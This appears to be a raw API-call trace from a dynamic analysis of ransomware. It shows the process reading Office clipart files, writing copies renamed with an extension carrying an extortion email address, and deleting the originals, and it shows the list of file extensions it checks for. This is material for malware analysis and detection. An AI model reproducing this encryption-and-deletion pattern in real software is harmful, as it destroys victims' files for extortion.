	[0165.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.536] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.536] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.537] GetLastError () returned 0x0
	[0165.537] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x150a, lpOverlapped=0x0) returned 1
	[0165.539] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1510, lpOverlapped=0x0) returned 1
	[0165.541] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.541] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.541] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.541] CloseHandle (hObject=0x3e0) returned 1
	[0165.541] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.541] SetEndOfFile (hFile=0x440) returned 1
	[0165.544] CloseHandle (hObject=0x440) returned 1
	[0165.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1
	[0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.545] lstrlenW (lpString=".doc") returned 4
	[0165.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.545] lstrlenW (lpString=".docx") returned 5
	[0165.545] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0165.545] lstrlenW (lpString=".pdf") returned 4
	[0165.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.545] lstrlenW (lpString=".xls") returned 4
	[0165.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.545] lstrlenW (lpString=".xlsx") returned 5
	[0165.545] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0165.545] lstrlenW (lpString=".ppt") returned 4
	[0165.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".zip") returned 4
	[0165.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.546] lstrlenW (lpString=".rar") returned 4
	[0165.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString=".bz2") returned 4
	[0165.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString=".7z") returned 3
	[0165.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".dbf") returned 4
	[0165.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".1cd") returned 4
	[0165.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".jpg") returned 4
	[0165.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".doc") returned 4
	[0165.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString=".docx") returned 5
	[0165.546] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0165.546] lstrlenW (lpString=".pdf") returned 4
	[0165.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString=".xls") returned 4
	[0165.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.546] lstrlenW (lpString=".xlsx") returned 5
	[0165.546] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0165.546] lstrlenW (lpString=".ppt") returned 4
	[0165.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.546] lstrlenW (lpString=".zip") returned 4
	[0165.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.547] lstrlenW (lpString=".rar") returned 4
	[0165.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.547] lstrlenW (lpString=".bz2") returned 4
	[0165.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.547] lstrlenW (lpString=".7z") returned 3
	[0165.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.547] lstrlenW (lpString=".dbf") returned 4
	[0165.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.547] lstrlenW (lpString=".1cd") returned 4
	[0165.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0165.547] lstrlenW (lpString=".jpg") returned 4
	[0165.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.547] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.547] lstrlenW (lpString="J0099181.WMF") returned 12
	[0165.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.548] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=1198) returned 1
	[0165.548] CloseHandle (hObject=0x440) returned 1
	[0165.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0165.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.549] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.549] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.550] GetLastError () returned 0x0
	[0165.550] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4ae, lpOverlapped=0x0) returned 1
	[0165.553] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4b0, lpOverlapped=0x0) returned 1
	[0165.554] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.555] WriteFile (in: hFile=0x3e0, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.555] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.555] CloseHandle (hObject=0x3e0) returned 1
	[0165.555] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.555] SetEndOfFile (hFile=0x440) returned 1
	[0165.558] CloseHandle (hObject=0x440) returned 1
	[0165.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString=".doc") returned 4
	[0165.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString=".docx") returned 5
	[0165.560] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0165.560] lstrlenW (lpString=".pdf") returned 4
	[0165.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString=".xls") returned 4
	[0165.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.560] lstrlenW (lpString=".xlsx") returned 5
	[0165.560] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0165.560] lstrlenW (lpString=".ppt") returned 4
	[0165.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString=".zip") returned 4
	[0165.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.560] lstrlenW (lpString=".rar") returned 4
	[0165.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString=".bz2") returned 4
	[0165.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString=".7z") returned 3
	[0165.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString=".dbf") returned 4
	[0165.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString=".1cd") returned 4
	[0165.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.560] lstrlenW (lpString=".jpg") returned 4
	[0165.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString=".doc") returned 4
	[0165.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString=".docx") returned 5
	[0165.561] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0165.561] lstrlenW (lpString=".pdf") returned 4
	[0165.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString=".xls") returned 4
	[0165.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.561] lstrlenW (lpString=".xlsx") returned 5
	[0165.561] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0165.561] lstrlenW (lpString=".ppt") returned 4
	[0165.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString=".zip") returned 4
	[0165.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.561] lstrlenW (lpString=".rar") returned 4
	[0165.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString=".bz2") returned 4
	[0165.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString=".7z") returned 3
	[0165.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString=".dbf") returned 4
	[0165.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString=".1cd") returned 4
	[0165.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0165.561] lstrlenW (lpString=".jpg") returned 4
	[0165.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.562] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.562] lstrlenW (lpString="J0099182.WMF") returned 12
	[0165.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.563] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=3840) returned 1
	[0165.563] CloseHandle (hObject=0x440) returned 1
	[0165.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
	[0165.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.563] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.563] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.565] GetLastError () returned 0x0
	[0165.565] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0xf00, lpOverlapped=0x0) returned 1
	[0165.567] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xf10, lpOverlapped=0x0) returned 1
	[0165.705] ReadFile (in: hFile=0x440, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.705] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.708] SetEndOfFile (hFile=0x4a4) returned 1
	[0165.714] CloseHandle (hObject=0x4a4) returned 1
	[0165.715] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.715] SetEndOfFile (hFile=0x440) returned 1
	[0165.717] CloseHandle (hObject=0x440) returned 1
	[0165.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0165.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.725] lstrlenW (lpString=".doc") returned 4
	[0165.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.725] lstrlenW (lpString=".docx") returned 5
	[0165.725] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.725] lstrlenW (lpString=".pdf") returned 4
	[0165.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.725] lstrlenW (lpString=".xls") returned 4
	[0165.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.725] lstrlenW (lpString=".xlsx") returned 5
	[0165.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.725] lstrlenW (lpString=".ppt") returned 4
	[0165.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.725] lstrlenW (lpString=".zip") returned 4
	[0165.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.725] lstrlenW (lpString=".rar") returned 4
	[0165.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.725] lstrlenW (lpString=".bz2") returned 4
	[0165.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.725] lstrlenW (lpString=".7z") returned 3
	[0165.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.725] lstrlenW (lpString=".dbf") returned 4
	[0165.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString=".1cd") returned 4
	[0165.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString=".jpg") returned 4
	[0165.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString=".doc") returned 4
	[0165.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString=".docx") returned 5
	[0165.726] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.726] lstrlenW (lpString=".pdf") returned 4
	[0165.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString=".xls") returned 4
	[0165.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.726] lstrlenW (lpString=".xlsx") returned 5
	[0165.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.726] lstrlenW (lpString=".ppt") returned 4
	[0165.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString=".zip") returned 4
	[0165.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.726] lstrlenW (lpString=".rar") returned 4
	[0165.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString=".bz2") returned 4
	[0165.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.726] lstrlenW (lpString=".7z") returned 3
	[0165.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.726] lstrlenW (lpString=".dbf") returned 4
	[0165.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.727] lstrlenW (lpString=".1cd") returned 4
	[0165.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0165.727] lstrlenW (lpString=".jpg") returned 4
	[0165.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.727] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0165.727] lstrlenW (lpString="J0099186.JPG") returned 12
	[0165.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.728] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=16738) returned 1
	[0165.728] CloseHandle (hObject=0x440) returned 1
